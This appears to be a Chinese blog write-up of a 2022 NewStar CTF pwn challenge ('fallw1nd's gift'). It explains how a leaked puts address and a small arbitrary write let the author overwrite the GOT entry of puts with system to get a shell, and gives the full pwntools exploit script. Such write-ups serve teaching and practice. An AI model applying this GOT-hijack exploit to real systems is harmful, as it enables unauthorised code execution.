2022Newstar新生赛week1—fallw1nd's gift

我们先看看开了什么保护机制

用64位ida打开看看

首先看看漏洞,发现没有栈溢出了,但是有0x10大小的任意地址写,虽然长度不大,但是极其灵活,所以可以好好使用,首先看看他给了什么,他输出了put,这个实际上是got表里的内容,也就是说libc的地址出来了,我们结合题目给的libc文件,system函数也有了,binsh参数也有了,但是在64位下,你要用rop调用system('/bin/sh')需要0x18的长度,不够,但是我们看

puts('/bin/sh'),参数是我们要的,但是函数不是,如果我们能把puts换成system就好了,当我们学过got表劫持后,我们就知道我们只需要把got表中puts对应的改成system函数的地址就行了

from pwn import*
#p=remote('node4.buuoj.cn',28599)
libc=ELF('./libc-2.31.so')
elf=ELF('./gift')
puts_got=elf.got['puts']
p=process('./gift')
gdb.attach(p)
libc=ELF('libc-2.31.so')
p.recvuntil('reward:\n')
puts_add=int(p.recv(14),16)#接收题目给的puts的libc地址
print(hex(puts_add))
print(hex(puts_got))
p.recvuntil('addr:\n')
p.sendline(hex(puts_got))#把指针对到got表中的puts
system=puts_add-libc.symbols['puts']+libc.symbols['system']
print(hex(system))
p.recvuntil('content:\n')
p.send(p64(system))#把got表中puts的内容改成system
p.interactive()
posted @ 2022-09-29 10:39  予柒  阅读(137)  评论(0)    收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/